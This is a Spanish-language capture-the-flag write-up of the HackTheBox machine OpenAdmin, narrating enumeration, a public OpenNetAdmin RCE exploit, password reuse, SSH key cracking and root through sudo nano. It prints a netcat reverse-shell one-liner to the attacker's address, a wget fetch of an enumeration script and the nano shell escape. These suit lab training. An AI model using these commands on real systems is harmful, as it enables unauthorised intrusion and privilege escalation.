HTB – WriteUp – OpenAdmin

Buenas conejetes!

En esta ocasión vamos a hacer el WriteUp de la máquina de HackTheBox con nombre OpenAdmin que quitaron este fin de semana en el que por fin hemos podido salir a pasear; un Linux creado por dmw0ng categorizado con dificultad fácil-media:



Enumeración

Por regla general, lo primero que podemos/debemos hacer siempre es lanzar NMAP para ver qué servicios tenemos expuestos:

nmap -p- -sT -sV -Pn -n 10.10.10.171

Vemos que tenemos abiertos los puertos HTTP y SSH. Comprobamos que efectivamente esta máquina sirve un servidor Apache2:

Podríamos sacar algo más de información del servidor con los scripts de NMAP, o bien probar con una herramienta que se usa bastante poco pero os ilustramos a continuación, WhatWeb. En este caso no hay mucho más que rascar:

whatweb 10.10.10.171

Lanzamos Nikto para comprobar si el servidor tuviese alguna vulnerabilidad (parece ser que el servidor Apache está desactualizado), así como Gobuster para encontrar posibles subdominios o rutas de directorios en nuestra máquina:

nikto -h 10.10.10.171

gobuster dir -u http://10.10.10.171/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o dirbust-root.log



Explotación


www-data

Tal y como hemos podido ver antes, tenemos tres rutas interesantes que investigar. Si accedemos a /music nos encontramos con lo que parece una página sin terminar:

Al intentar acceder al login, nos manda directamente a la ruta /ona, con lo que parece ser un controlador de dominios (openadmin.htb):

Tras navegar por la parte del menú (Menu/Ona/About), descubrimos que nos encontramos ante un OpenNetAdmin v18.1.1. Además, se puede descubrir información de la base de datos que tiene en la ruta Menu/Ona/User info:

Con una rápida búsqueda de exploits gracias a searchsploit, encontramos un posible RCE (Remote Code Execution):

searchsploit opennetadmin

Tras intentar utilizarlo y no ser capaces de ejecutarlo correctamente e intentando evitar el uso de Metasploit, buscamos algún exploit público como este.

El exploit en cuestión dispone de dos funciones, una para comprobar si el objetivo es vulnerable y otra para explotarlo:

python3 ona-rce.py check http://10.10.10.171/ona/
python3 ona-rce.py exploit http://10.10.10.171/ona/

Tal y como podemos ver, conseguimos acceso como www-data, pero este usuario tan sólo nos deja listar la ruta /opt/ona/www, parece que no podemos ni navegar entre carpetas (wtf?). Además, la conexión es bastante inestable y se cae a los pocos minutos.

Para solucionar esto, nos conectamos con una shell reversa: desde nuestra máquina Kali abrimos un Netcat, y en la máquina vulnerada ejecutamos lo siguiente:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.XXX 4444 >/tmp/f

Ahora sí podemos movernos entre las carpetas del servidor vulnerado, listado los siguientes usuarios (pero sin acceso a sus directorios):

Y para poder trabajar mejor, sanitizamos nuestra shell de la siguiente manera:

python3 -c 'import pty;pty.spawn("/bin/bash")'


Jimmy

Es momento de subir nuestro script favorito de recolección de información para Linux: LinEnum.sh. Para subirlo al servidor objetivo, en esta ocasión creamos un servidor con python en nuestra máquina atacante, y desde el objetivo haciendo uso de wget nos lo descargamos.

Servidor HTTP en nuestro equipo:

python -m SimpleHTTPServer 8080

Descarga del script:

wget http://10.10.15.XXX:8080/linenum.sh

Por desgracia en este caso, no sacamos información relevante o que pueda ser utilizada para seguir explotando la máquina.

Buceando por el servidor nos encontramos un fichero con lo que podrían ser las credenciales de una Base de Datos (/opt/ona/www/local/config/database_settings.inc.php):

ona_sys:n1nj4W4rri0R!

Es habitual que los usuarios sin mucha concienciación en Seguridad Informática reutilicen contraseñas. Por ello, si probamos la contraseña con el usuario Jimmy para el servicio SSH, conseguimos acceso a la máquina como Jimmy:


Joanna

Una vez dentro como el usuario Jimmy, volvemos a ejecutar LinEnum.sh. En esta ocasión vemos ciertas conexiones TCP del servidor, con especial interés la del puerto 52846 y la del puerto 3306 (muy posiblemente la conexión a la BBDD de la que cogimos las credenciales para Jimmy), pero no parecen darnos más información:

Con el usuario actual, encontramos la carpeta /var/www/internal, a la que tenemos acceso:

En el fichero index.php nos encontramos lo que parece un hash en sha512:

jimmy:00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1

En el fichero main.php, vemos como funcionaría a priori el control de sesiones de la página anterior. El código nos indica que si nos conectamos como Jimmy a este main.php, nos devuelve como salida lo que parece el id_rsa de SSH para el usuario Joanna:

Intentamos acceder vía navegador con el anterior puerto descubierto (52846) pero no resuelve (ya que no nos conectamos como Jimmy): http://10.10.10.171:52846/main.php

Pero si hacemos una llamada desde el servidor conectados como Jimmy, nos contesta satisfactoriamente:

Hacemos uso de ssh2john y John the Ripper para romper el cifrado y conseguir la passphrase:

Nos conectamos finalmente como Joanna vía SSH de la siguiente manera:

chmod 600 id_rsa_joanna
ssh -i id_rsa_joanna joanna@10.10.10.171

Una vez conectado, tan sólo tenemos que leer la flag:



Escalada de Privilegios

Hay ocasiones en las que podemos sentirnos afortunados, y la escalada de esta máquina es una de ellas. Ejecutando el siguiente comando, podemos listar los comandos permitidos en este host por el usuario que lo ejecute (si no hacemos uso del parámetro -U):

sudo -l

Como se puede ver, Joanna tendría permisos para ejecutar nano (nuestro editor de texto favorito) sin contraseña. Podemos echar un vistazo al binario de nano en GTFOBins, para ver cómo podemos escalar privilegios haciendo uso de esto.

Tras invocar a nano con sudo, utilizamos el comando «control+R» para leer un fichero, para con «control+X» ejecutar una orden que nos otorga una shell con los permisos heredados de nano:

sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0

Una vez hecho esto, tan sólo deberemos leer la flag y pensar en la siguiente máquina:

Saludos conejiles, y ¡sed responsables en estos tiempos!

gonx0